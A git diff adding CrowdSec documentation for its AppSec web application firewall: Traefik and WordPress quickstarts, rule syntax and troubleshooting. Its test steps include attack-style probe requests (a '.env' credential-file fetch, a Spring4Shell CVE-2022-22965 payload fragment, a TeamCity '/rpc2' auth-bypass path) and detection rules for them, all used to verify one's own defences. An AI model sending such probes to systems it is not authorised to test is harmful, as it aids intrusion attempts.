[crowdsecurity/appsec-virtual-patching](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) collection, which offers a wide range of rules aimed at identifying and preventing the exploitation of known vulnerabilities. + +This collection is regularly updated to include protection against newly discovered vulnerabilities. Upon installation, it receives automatic daily updates to ensure your protection is always current. + +Furthermore we also install the [crowdsecurity/appsec-generic-rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) collection. This collection contains detection scenarios for generic attack vectors. It provides some protection in cases where specific scenarios for vulnerabilities do not exist (yet). + +On the machine where the Security Engine is installed, just execute the following command: + +:::info +You can always view the content of a [collection on the hub](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) +::: + + + +Executing this command or updating the compose will install the following items: + +- The [*AppSec Rules*](/appsec/rules_syntax.md) contain the definition of malevolent requests to be matched and stopped. +- The [*AppSec Configuration*](/appsec/configuration.md#appsec-configuration) links together a set of rules to provide a coherent set. +- The CrowdSec Parser and CrowdSec Scenario(s) are used to detect and remediate persistent attacks. + +Once you have updated your compose or installed via the command line, will we need to restart the container. However, before we do that, we need to setup the acquisition for the AppSec Component. + +### Setup the Acquisition + +Depending on how you are running the CrowdSec Security Engine, you will need to configure the acquisition for the AppSec Component. + +If you have a folder in which you are persisting the configuration files, you can create a `appsec.yaml` and mount it into the container. + +There steps will change depending on how you are running the Security Engine. If you are running via `docker run` then you should launch the container within the same directory as the `appsec.yaml` file. If you are using `docker-compose` you can use a relative file mount to mount the `appsec.yaml` file. + +Steps: + 1. Change to the location where you executed the `docker run` or `docker compose` command. + 2. Create a `appsec.yaml` file at the base of the directory. + 3. Add the following content to the `appsec.yaml` file. + +```yaml title="appsec.yaml" +appsec_config: crowdsecurity/appsec-default +labels: + type: appsec +listen_addr: 0.0.0.0:7422 +source: appsec +``` +:::note +Since CrowdSec is running inside a container you must set the `listen_addr` to `0.0.0.0` instead of the typical `127.0.0.1` as the container is running in a separate network. +::: + + 4. Edit the `docker run` or `docker-compose` command to include the `appsec.yaml` file. + + + +Once you have created the `appsec.yaml` file and mounted it into the container, you can recreate the container. + +:::note +If you are using `docker run` you can skip to the [Remediation Component Setup](#remediation-component-setup) section. +::: + +Once you have updated the compose file to include the volume mount and the updated environment variable, you can restart the container. + +```bash +docker compose down crowdsec +docker compose rm crowdsec +docker compose up -d crowdsec +``` + +:::note +The previous compose commands presume the container is named `crowdsec`. If you have named the container something else, you will need to replace `crowdsec` with the name of your container. +::: + +## Remediation Component Setup + +As stated previously this guide already presumes you have the Traefik Plugin installed. If you do not have the Traefik Plugin installed, please refer to the [official documentation](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin) for installation instructions. + +### Configuration + +Depending on how you configured the Traefik Plugin, you will need to update the configuration to include the AppSec configuration. + +:::warning +Currently AppSec does not support mTLS authentication for the AppSec Component. If you have mTLS enabled, and wish to use the AppSec Component, you can define seperate middlewares for the AppSec Component. +::: + +If you have defined a dynamic configuration file for Traefik, you can add the following configuration to the file. + +```yaml title="traefik_dynamic.yaml" +# Dynamic configuration +http: + routers: + my-router: + rule: host(`whoami.localhost`) + service: service-foo + entryPoints: + - web + middlewares: + - crowdsec + + services: + service-foo: + loadBalancer: + servers: + - url: http://127.0.0.1:5000 + + middlewares: + crowdsec: + plugin: + bouncer: + enabled: true + crowdsecAppsecEnabled: true + crowdsecAppsecHost: crowdsec:7422 + crowdsecAppsecFailureBlock: true + crowdsecAppsecUnreachableBlock: true + crowdsecLapiKey: privateKey-foo +``` + +Instead if you define the configuration using labels on the containers you can add the following labels to the Traefik Plugin container. + +```yaml + labels: + - "traefik.http.middlewares.crowdsec-bar.plugin.bouncer.enabled=true" + - "traefik.http.middlewares.crowdsec-bar.plugin.bouncer.crowdsecAppsecEnabled=true" + - "traefik.http.middlewares.crowdsec-bar.plugin.bouncer.crowdsecAppsecHost=crowdsec:7422" + - "traefik.http.middlewares.crowdsec-bar.plugin.bouncer.crowdsecLapiKey=privateKey-foo" +``` + +For more comprehensive documentation on the Traefik Plugin configuration, please refer to the [official documentation](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin). + +We can't cover all the possible configurations for Traefik in this guide, so please refer to the [official documentation](https://doc.traefik.io/traefik/) for more information. + +### Directives + +The following directives are available for the Traefik Plugin: + +#### `crowdsecAppsecEnabled` +> `bool` + +Enable or disable the AppSec Component. + +#### `crowdsecAppsecHost` +> `string` + +The host and port where the AppSec Component is running. + +#### `crowdsecAppsecFailureBlock` +> `bool` + +If the AppSec Component returns `500` status code should the request be blocked. + +#### `crowdsecAppsecUnreachableBlock` +> `bool` + +If the AppSec Component is unreachable should the request be blocked. + +## Testing the AppSec Component + Remediation Component + +:::note +We're assuming the web server is installed on the same machine and is listening on port 80. Please adjust your testing accordingly if this is not the case. +::: + +if you try to access `http://localhost/.env` from a browser, your request will be blocked, resulting in the display of the following HTML page: + +![appsec-denied](/img/appsec_denied.png) + +We can also look at the metrics from `cscli metrics show appsec` it will display: + - the number of requests processed by the AppSec Component + - Individual rule matches + +
+ Example Output + +```bash title="sudo cscli metrics show appsec" +Appsec Metrics: +╭─────────────────┬───────────┬─────────╮ +│ Appsec Engine │ Processed │ Blocked │ +├─────────────────┼───────────┼─────────┤ +│ 127.0.0.1:7422/ │ 2 │ 1 │ +╰─────────────────┴───────────┴─────────╯ + +Appsec '127.0.0.1:7422/' Rules Metrics: +╭─────────────────────────────────┬───────────╮ +│ Rule ID │ Triggered │ +├─────────────────────────────────┼───────────┤ +│ crowdsecurity/vpatch-env-access │ 1 │ +╰─────────────────────────────────┴───────────╯ +``` + +
+ +### Explanation + +What happened in the test that we just did is: + + 1. We did a request (`localhost/.env`) to our local webserver + 2. Thanks to the Remediation Component configuration, forwarded the request to `http://127.0.0.1:7422` + 3. Our AppSec Component, listening on `http://127.0.0.1:7422` analyzed the request + 4. The request matches the [AppSec rule to detect .env access](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access) + 5. The AppSec Component thus answered with [HTTP 403](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/403) to the Remediation Component, indicating that the request must be blocked + 6. The web server then presented us with the default "request blocked" page. + + ## Integration with the console + +If you haven't yet, follow the guide about [how to enroll your Security Engine in the console](/u/getting_started/post_installation/console). + +Once done, all your alerts, including the ones generated by the AppSec Component, are going to appear in the console: + +![appsec-console](/img/appsec_console.png) + +## Next steps + +You are now running the AppSec Component on your Crowdsec Security Engine, congrats! + +As the next steps, you can: + - [Explore the hub](https://hub.crowdsec.net) to find more rules for your use case + - Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute + - Take a look at [the benchmarks](/appsec/benchmark.md) diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/wordpress.mdx b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/wordpress.mdx new file mode 100644 index 000000000..cceffcef0 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/wordpress.mdx @@ -0,0 +1,318 @@ +--- +id: wordpress +title: QuickStart - WordPress +--- + +import Tabs from '@theme/Tabs'; +import TabItem from '@theme/TabItem'; +import CodeBlock from '@theme/CodeBlock'; +import UnderlineTooltip from '@site/src/components/underline-tooltip'; + +# CrowdSec WAF QuickStart for WordPress + +## Objectives + +The goal of this quickstart is to set up the [AppSec Component](/appsec/intro.md#introduction) to safeguard web applications running on [WordPress](https://wordpress.org) sites. + +We'll deploy a [set of rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) designed to block [well-known attacks](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) and [currently exploited vulnerabilities](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching). + +Additionally, we'll show how to monitor these alerts through the [console](https://app.crowdsec.net/). + +## Pre-requisites + +1. If you're new to the [AppSec Component](/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](/appsec/intro.md#introduction) for a better understanding. + +2. It's assumed that you have already installed: + - **CrowdSec [Security Engine](intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). The AppSec Component, which analyzes HTTP requests, is included within the security engine as a [Acquisition](/log_processor/data_sources/appsec.md). + - **WordPress [Remediation Component](/u/bouncers/intro)**: installation instructions are available in the [WordPress bouncer guide](/u/bouncers/wordpress). The CrowdSec WordPress plugin enables you to protect your WordPress site against malicious traffic using CrowdSec's advanced threat detection and blocklist capabilities. + + This component intercepts HTTP requests at the WordPress level and forwards them to the AppSec Component for analysis and action. + + +## AppSec Component Setup + +### Collection installation + +To begin setting up the AppSec Component, the initial step is to install a relevant set of rules. + +We will utilize the [`crowdsecurity/appsec-virtual-patching`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) collection, which offers a wide range of rules aimed at identifying and preventing the exploitation of known vulnerabilities. + +This collection is regularly updated to include protection against newly discovered vulnerabilities. Upon installation, it receives automatic daily updates to ensure your protection is always current. +Furthermore we also install the [`crowdsecurity/appsec-generic-rules`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) collection. This collection contains detection scenarios for generic attack vectors. It provides some protection in cases where specific scenarios for vulnerabilities do not exist (yet). + +On the machine where the Security Engine is installed, just execute the following command: + +:::info +You can always view the content of a [collection on the hub](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) +::: + +```bash +sudo cscli collections install crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules +``` + +Executing this command will install the following items: + +- The [*AppSec Rules*](/appsec/rules_syntax.md) contain the definition of malevolent requests to be matched and stopped +- The [*AppSec Configuration*](/appsec/configuration.md#appsec-configuration) links together a set of rules to provide a coherent set +- The CrowdSec Parser and CrowdSec Scenario(s) bans for a longer duration repeating offenders + +### Setup the Acquisition + +Having installed the required components, it's time to configure the CrowdSec Acquisition to expose the Application Security Component to our WordPress site. This configuration allows our WordPress site to send requests to the AppSec Component for evaluation and decision-making. + +Steps: + 1. Create the `/etc/crowdsec/acquis.d/` directory (if it doesn't exist on your machine) + ```bash + mkdir -p /etc/crowdsec/acquis.d/ + ``` + 2. Create a file `/etc/crowdsec/acquis.d/appsec.yaml` with the following content: + ```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" + appsec_config: crowdsecurity/appsec-default + labels: + type: appsec + listen_addr: 127.0.0.1:7422 + source: appsec + ``` + +The two important directives in this configuration file are: + + - `appsec_config` is the name of the [*AppSec Configuration*](appsec/configuration.md#appsec-configuration) that was included in the Collection we just installed. + - the `listen_addr` is the IP and port the AppSec Component will listen to. + +:::warning +We do not recommend exposing the AppSec Component to the internet. It should only be accessible from the web server or WordPress application. +::: + +:::info +You can find more about the [supported options for the acquisition here](/log_processor/data_sources/appsec.md) +::: + +You can now restart CrowdSec: + +```bash +sudo systemctl restart crowdsec +``` + +#### Testing the AppSec Component + +##### Verify the AppSec Component is listening + +To verify that the AppSec Component is running correctly, we can first check that the port `7422` is open and listening: + +:::note +If you have changed the port in the configuration file, replace `7422` with the new port number. +::: + + + + + sudo netstat -tlpn | grep 7422 + + + + sudo ss -tlpn | grep 7422 + + + +
+ +Output example + +```bash +tcp 0 0 127.0.0.1:7422 0.0.0.0:* LISTEN 12345/crowdsec +``` + +:::note +The output may look differently depending on which command you used but as long as you see the port and the process `crowdsec`, it means the AppSec Component is running. +::: + +
+ +##### (Optional) Manually testing the AppSec Component with `curl` + +
+ Expand for short guide + +Before we proceed with configuring the Remediation Component, let's verify that all our current setups are functioning correctly. + +1. Create a Remediation Component (Bouncer) API Key: + +```bash +sudo cscli bouncers add test_waf -k this_is_a_bad_password +API key for 'test_waf': + + this_is_a_bad_password + +Please keep this key since you will not be able to retrieve it! +``` + +2. Emit a legitimate request to the AppSec Component: + +```bash +curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-uri: /test' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-host: foobar.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password' +``` + +Which will give us an answer such as: + +```bash +HTTP/1.1 200 OK +Date: Tue, 30 Jan 2024 15:43:50 GMT +Content-Length: 36 +Content-Type: text/plain; charset=utf-8 + +{"action":"allow","http_status":200} +``` + +3. Emit a malevolent request to the Appsec Component: + +:::info +We're trying to access a `.env` file, a [common way to get access to some credentials forgotten by a developer.](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access) +::: + +```bash +curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-uri: /.env' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-host: foobar.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password' + +``` + +Our request is detected and blocked by the AppSec Component: + +```bash +HTTP/1.1 403 Forbidden +Date: Tue, 30 Jan 2024 15:57:08 GMT +Content-Length: 34 +Content-Type: text/plain; charset=utf-8 + +{"action":"ban","http_status":403} +``` + +Let's now delete our test API Key: + +```bash +sudo cscli bouncers delete test_waf +``` + +
+ +## Remediation Component Setup + +Since our AppSec Component is active and listening, we can now configure the WordPress Remediation Component to forward requests to it. + +The WordPress bouncer includes built-in AppSec support that can be enabled through the plugin's admin interface. + +### Enable AppSec in WordPress Plugin + +1. Log in to your WordPress admin panel +2. Navigate to the CrowdSec plugin settings (`CrowdSec` in your admin menu) +3. Go to the `Advanced` section +4. Find the `AppSec component` configuration section +5. Enable AppSec and configure the connection: + + - **Enable AppSec**: Check this box to enable AppSec functionality + - **URL**: Set to `http://127.0.0.1:7422` (or your custom AppSec Component address) + - **Request timeout**: Default is 400 milliseconds (adjust as needed) + - **Fallback to**: Choose `captcha` (recommended) for when AppSec calls fail + - **Maximum body size**: Default is 1024 KB + - **Body size exceeded action**: Choose `headers_only` (recommended) + + +![appsec-config](/img/bouncer/wordpress/screenshots/config-appsec.png) + +:::info +AppSec functionality is only available when using API key authentication (not TLS certificates) in the WordPress plugin. +::: + +:::note +The AppSec Component will only be consulted when the initial LAPI remediation returns a bypass decision. +::: + +## Testing the AppSec Component + Remediation Component + +:::note +We're assuming WordPress is running on your local machine. Please adjust your testing accordingly if this is not the case. +::: + +To test the AppSec functionality, you need to make a request that will go through the WordPress loading process. Try accessing a WordPress page with a malicious payload in the URL parameters or body. +For example, we can try to post a request with a body that contains a malicious payload, known as a [Remote Code Execution (CVE-2022-22965)](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-CVE-2022-22965) attempt. + +```bash +curl -X POST https:/// -d "class.module.classLoader.resources." -o /dev/null -s -w "%{http_code}" +``` + + +When the AppSec Component detects such a malicious request, you'll see that the response is a 403 (Forbidden) status code, indicating that the request was blocked. + +If your test is not successful, please refer to the [Health check and troubleshoot guide](/u/getting_started/health_check/) for help. + + +You can also look at the metrics from `cscli metrics show appsec` which will display: + - the number of requests processed by the AppSec Component + - Individual rule matches + +
+ Example Output + + +```bash title="sudo cscli metrics show appsec" +Appsec Metrics: +╭─────────────────┬───────────┬─────────╮ +│ Appsec Engine │ Processed │ Blocked │ +├─────────────────┼───────────┼─────────┤ +│ 127.0.0.1:7422/ │ 2 │ 1 │ +╰─────────────────┴───────────┴─────────╯ + +Appsec '127.0.0.1:7422/' Rules Metrics: +╭─────────────────────────────────────┬───────────╮ +│ Rule ID │ Triggered │ +├─────────────────────────────────────┼───────────┤ +│ crowdsecurity/vpatch-CVE-2022-22965 │ 1 │ +╰─────────────────────────────────────┴───────────╯ +``` + +
+ +### Explanation + +What happened in the test that we just did is: + + 1. We made a request with malicious payload to our WordPress site + 2. The WordPress bouncer plugin intercepted the request as part of the WordPress loading process + 3. The bouncer first checked with the local CrowdSec API for any existing decisions + 4. Since there was no existing ban decision, the bouncer forwarded the request to the AppSec Component at `http://127.0.0.1:7422` + 5. Our AppSec Component analyzed the request and matched it against the appropriate AppSec rules (here `crowdsecurity/vpatch-CVE-2022-22965` rule) + 6. The AppSec Component returned an HTTP 403 response to the WordPress bouncer, indicating that the request must be blocked + 7. The WordPress bouncer then presented the visitor with the configured ban page + + ## Integration with the console + +If you haven't yet, follow the guide about [how to enroll your Security Engine in the console](/u/getting_started/post_installation/console). + +Once done, all your alerts, including the ones generated by the AppSec Component, are going to appear in the console: + +![appsec-console](/img/appsec_console.png) + +## WordPress-Specific Considerations + +### Understanding Plugin Limitations + +The WordPress bouncer has some inherent limitations you should be aware of: + +1. **WordPress Loading Process**: The plugin only protects requests that go through the WordPress core loading process. Direct access to PHP files outside of WordPress won't be protected. + +2. **Static Files**: Requests for non-PHP files (like `.env`, `.sql`, or other static files) won't be processed by the plugin since they don't go through PHP. + +3. **Auto Prepend File Mode**: For comprehensive protection, consider enabling [auto prepend file mode](/u/bouncers/wordpress#auto-prepend-file-mode) in the plugin settings to ensure all PHP scripts are protected. + + +## Next steps + +You are now running the AppSec Component on your WordPress site with CrowdSec Security Engine, congrats! + +As the next steps, you can: + - [Explore the hub](https://hub.crowdsec.net) to find more rules for your use case + - Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/rules_syntax.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/rules_syntax.md new file mode 100644 index 000000000..9dde1d009 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/rules_syntax.md @@ -0,0 +1,192 @@ +--- +id: rules_syntax +title: Appsec rules syntax +sidebar_position: 8 +--- + +## CrowdSec AppSec rules + +Rules are the core of the **AppSec Component**. They are used to detect and block attacks. + +There are 2 types of rules: + +- **In-band rules** are evaluated synchronously and will block the processing of the request until they are evaluated thus allowing a real-time remediation +- **Out-band rules** Out-band rules are dealt with asynchronously and will not delay the processing of the request. They won't allow remediation _at first sight_ but are very useful for handling expensive evaluations or as part of a more complex detection logic (eg, blocking an exploit that spans multiple requests). + +**In-band rules** and **out-band rules** differ slightly in their **default** behavior when a rule matches: + +- When an **in-band rule** matches: + - an **alert** is created inside CrowdSec: allowing immediate and long-term remediation against the offending IP. + - Note: No **event** will be generated by default. +- When an **out-band rule** matches + - An **event** will be generated and sent through the normal **parsers/scenarios pipeline**, allowing the detection of more complex behaviors. + - Note: no **alert** will be generated from this out-band rule only, the **parsers/scenarios pipeline** is responsible for raising **alerts** from processed **events** + +## Rules File Format + +The rule files share some common directives with the scenarios: + +- a `name` and `description` +- a `rules` section describing the rule to match the HTTP request +- [a label section](https://doc.crowdsec.net/docs/next/scenarios/format/#labels) + +```yaml +name: crowdsecurity/example-rule +description: "Detect example pattern" +rules: + - zones: + - URI + transform: + - lowercase + match: + type: contains + value: this-is-a-appsec-rule-test +labels: + type: exploit + service: http + behavior: "http:exploit" + confidence: 3 + spoofable: 0 + label: "A good description of the rule" + classification: + - cve.CVE-xxxx-xxxxx + - attack.Txxxx +``` + +The `rules` contain one or more conditions that can be linked together by an operator (`or`/`and`). +Each condition contains: + +## Target + +:::info +The target allows to specify which part of the requests needs to be inspected. You can have more than one. +::: + +- _(mandatory)_ `zones` one or more of: + - `ARGS`: Query string parameters + - `ARGS_NAMES`: Name of the query string parameters + - `BODY_ARGS`: Body args + - `BODY_ARGS_NAMES`: Name of the body args + - `HEADERS`: HTTP headers sent in the request + - `HEADERS_NAMES`: Name of the HTTP headers sent in the request + - `METHOD`: HTTP method of the request + - `PROTOCOL`: HTTP protocol used in the query (HTTP/1.0, HTTP/1.1, ...) + - `URI`: The URI of the request + - `URI_FULL`: The full URL of the request including the query string + - `RAW_BODY`: The entire body of the request + - `FILENAMES`: The name of the files sent in the request +- _(optional)_ `variables` containing one or more variable names to restrict the matching operation to (only relevant for `ARGS`, `BODY_ARGS` and `HEADERS`) + +```yaml +#match only in 'foo' and 'bar' query string parameters +- zones: + - ARGS + variables: + - foo + - bar +--- +#match in any args or part of the URI +- zones: + - URI + - ARGS +``` + +:::info + +The default config `crowdsecurity/base-config` enables specific decoders when the following content-types are set: + - **application/x-www-form-urlencoded** + - **multipart/form-data** + - **application/xml** + - **application/json** : when used, all the variable names are prefixed with `json.` + - **text/xml** + +::: + +## Match + +:::info +Match provides the pattern to match the target against, including optional transformations. +::: + +- _(mandatory)_ `match` containing both: + + - _(mandatory)_ `type` indicates the matching method, one of: + + - `regex`: matches _target_ against value (_value_ is a RE2 regexp) + - `equals`: _target_ is a string equal to _value_ + - `startsWith`: _target_ starts with _value_ + - `endsWith`: _target_ ends with _value_ + - `contains`: _target_ contains value + - `libinjectionSQL`: _target_ is detected by lib injection SQL + - `libinjectionXSS`: _target_ is detected by lib injection XSS + - `gt`: _target_ is greater than _value_ + - `lt`: _target_ is lower than _value_ + - `gte`: _target_ is greater or equal to _value_ + - `lte`: _target_ is lower or equal to _value_ + + - _(mandatory)_ `value` a string that is compared to the _target_ + +- _(optional)_ `transform` section, containing one or more operations that will be applied on _target_ before performing the match operation: + - `lowercase` + - `uppercase` + - `b64decode` : base64 decode + - `length` : transform _target_ to a number representing the string's length + - `urldecode` : URL decode + - `trim` : remove leading and trailing spaces + - `normalizepath` : normalize the path (remove double slashes, etc) + - `htmlEntitydecode` : decode HTML entities + +```yaml +# we want the query parameter foo to be equal to 'toto' +- zones: + - ARGS + variables: + - foo + match: + type: equal + value: toto +--- +# we want URI to contain any variation of 'blah' (ie. blah BLah BlAH ...) +- zones: + - URI + tranform: + - uppercase + match: + type: contains + value: BLAH +``` + + +### Seclang Support + +In order to support your existing/legacy rules set, CrowdSec's AppSec Component is also able to load rules in the **seclang** format (**ModSecurity** rules). + +We recommend using this format only to use existing rules you may have. + +**ModSecurity** syntax support is provided by [coraza](https://github.com/corazawaf/coraza/), and the reference documentation is available [here](https://coraza.io/docs/seclang/syntax/). + +There are 2 ways to provide crowdsec with seclang rules: + +- Provide rules directly by using the `seclang_rules` parameter in your rule file +- Provide a file containing the rules by using the `seclang_rules_file` parameter in your rule file. The file must be located inside CrowdSec data directory + +The default paths for the data directory per OS: + +- Linux: `/var/lib/crowdsec/data` +- Freebsd: `/var/db/crowdsec/data` +- Windows: `C:\programdata\crowdsec\data` + + +> Example + +```yaml +name: example/secrules +seclang_rules: + - SecRule ARGS:ip ";" "t:none,log,deny,msg:'semi colon test',id:2" +seclang_files_rules: + - my-rule-file.conf +``` + +:::warning +Your rule **must** have a non-empty `msg` field to properly trigger an Event/Alert +::: diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/troubleshooting.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/troubleshooting.md new file mode 100644 index 000000000..c98bdc02d --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/troubleshooting.md @@ -0,0 +1,241 @@ +--- +id: troubleshooting +title: Troubleshooting +sidebar_position: 81 +--- + + +## Monitoring with `cscli` + +`cscli metrics` expose minimal metrics about the AppSec Component: + - Number of requests processed and blocked by the component/data source + - Number of triggers of each individual rules + +``` +Appsec Metrics: +╭───────────────────┬───────────┬─────────╮ +│ Appsec Engine │ Processed │ Blocked │ +├───────────────────┼───────────┼─────────┤ +│ myAppSecComponent │ 1.30k │ 312 │ +╰───────────────────┴───────────┴─────────╯ + +Appsec 'myAppSecComponent' Rules Metrics: +╭────────────────────────────────────┬───────────╮ +│ Rule ID │ Triggered │ +├────────────────────────────────────┼───────────┤ +│ crowdsecurity/vpatch-CVE-2017-9841 │ 38 │ +│ crowdsecurity/vpatch-env-access │ 274 │ +╰────────────────────────────────────┴───────────╯ + +``` + +The prometheus metrics are more detailed, detailing analysis time for each request, along with detailed processing time for inband and out-of-band rule groups. + +They can be seen in the dedicated [grafana dashboard](/observability/prometheus.md#exploitation-with-prometheus-server--grafana). + +You can also inspect an AppSec rule directly with `cscli appsec-rules inspect ` to see the amount of requests that were blocked by the rule. + +## Enabling Debug in the AppSec Component + +Debugging configuration is cascading in the AppSec Component. + +Setting `log_level` to `debug` or `trace` in the acquisition config section or the AppSec config will enable debug logging for the whole AppSec Component. You can also set `debug` to `true` directly in an AppSec rule. + + +When enabling debug at acquisition or AppSec config level: + - load time debug will be enabled, such as information regarding the translation of the rule to `SecRule` format. + - runtime debug will be enabled for all the rules loaded by the AppSec Component / AppSec config. + +When enabling debug directly at the appsec rule level, only runtime evaluation information of the rule will be displayed, such as: + +``` +DEBU[2023-12-06 15:40:26] Evaluating rule band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 +DEBU[2023-12-06 15:40:26] Expanding arguments for rule band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 variable=REQUEST_URI +DEBU[2023-12-06 15:40:26] Transforming argument for rule band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 +DEBU[2023-12-06 15:40:26] Arguments transformed for rule band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 +DEBU[2023-12-06 15:40:26] Matching rule band=inband key= name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 variable_name=REQUEST_URI +DEBU[2023-12-06 15:40:26] Evaluating operator: MATCH arg=/rpc2 band=inband name=appseclol operator_data=/rpc2 operator_function=@endsWith rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 +DEBU[2023-12-06 15:40:26] Executing disruptive action for rule action=deny band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 +DEBU[2023-12-06 15:40:26] Rule matched band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 +DEBU[2023-12-06 15:40:26] Finish evaluating rule band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 +``` + +## Authenticating with the AppSec Component + +:::note +We are assuming the AppSec engine is running on `127.0.0.1:7422`. See [installation directives](/docs/next/appsec/installation) +::: + +> Create a valid API Key + +```bash +cscli bouncers add appsec_test -k this_is_a_bad_password +``` + +> Emit a request to the AppSec Component + +```bash +curl -I -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-uri: /test' -H 'x-crowdsec-appsec-host: test.com' -H 'x-crowdsec-appsec-verb: GET' +HTTP/1.1 200 OK +Date: Tue, 05 Dec 2023 19:37:56 GMT +Content-Length: 18 +Content-Type: text/plain; charset=utf-8 +``` + +If you receive a `200 OK`, you can authenticate to the AppSec Component. If the component is misconfigured or your API key is invalid, you will receive a `401 Unauthorized`: + +```bash +curl -I -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-api-key: meeh' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-uri: /test' -H 'x-crowdsec-appsec-host: test.com' -H 'x-crowdsec-appsec-verb: GET' +HTTP/1.1 401 Unauthorized +Date: Tue, 05 Dec 2023 19:38:51 GMT +Content-Length: 0 + +``` + + +## Ensuring your rule(s) are loaded + +Crowdsec will show on startup all the rules that are installed (even if they are not used by any active appsec-config). +Seeing a rule here does not mean it will be used by the AppSec Component, depending on the appsec-config you are using: + +``` +... +INFO[2023-12-06 14:58:19] Adding crowdsecurity/vpatch-CVE-2023-40044 to appsec rules +INFO[2023-12-06 14:58:19] Adding crowdsecurity/vpatch-CVE-2023-42793 to appsec rules +INFO[2023-12-06 14:58:19] loading acquisition file : ... +``` + +## Testing a given rule + +We can create a skeleton environment with: + - acquisition config that is going to load your test AppSec config + - appsec config to load the test rule + - the test rule itself + +> /etc/crowdsec/acquis.d/test_appsec.yaml +```bash +mkdir -p /etc/crowdsec/acquis.d/ +cat > /etc/crowdsec/acquis.d/test_appsec.yaml < /etc/crowdsec/appsec-config/test_appsec_config.yaml +```bash +mkdir -p /etc/crowdsec/appsec-configs/ +cat > /etc/crowdsec/appsec-configs/test_appsec_config.yaml < /etc/crowdsec/appsec-rules/test-rule.yaml +```bash +mkdir -p /etc/crowdsec/appsec-rules/ +cat > /etc/crowdsec/appsec-rules/test-rule.yaml < cat /etc/crowdsec/appsec-rules/vpatch-CVE-2023-42793.yaml +```yaml +name: crowdsecurity/vpatch-CVE-2023-42793 +description: "Detect CVE-2023-42793" +rules: + - zones: + - URI + transform: + - lowercase + match: + type: endsWith + value: /rpc2 +labels: + type: exploit + service: http + confidence: 3 + spoofable: 0 + behavior: "http:exploit" + label: "JetBrains Teamcity auth bypass (CVE-2023-42793)" + classification: + - cve.CVE-2023-42793 + - attack.T1595 + - attack.T1190 + - cwe.CWE-288 +``` + +To be able to communicate with the AppSec Component, let's create a bouncer API Key: + +```bash +cscli bouncers add appsec_test -k this_is_a_bad_password +``` + +We can now query our AppSec Component (we're assuming here that it runs on the default `127.0.0.1:7422`, see the `listen_addr` parameter of the acquisition config): + +```bash +▶ curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-uri: /rpc2' -H 'x-crowdsec-appsec-host: google.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password' +HTTP/1.1 403 Forbidden +Date: Tue, 05 Dec 2023 11:17:51 GMT +Content-Length: 16 +Content-Type: text/plain; charset=utf-8 + +{"action":"ban"} +``` + +And we see the alert appearing in `crowdsec.log` 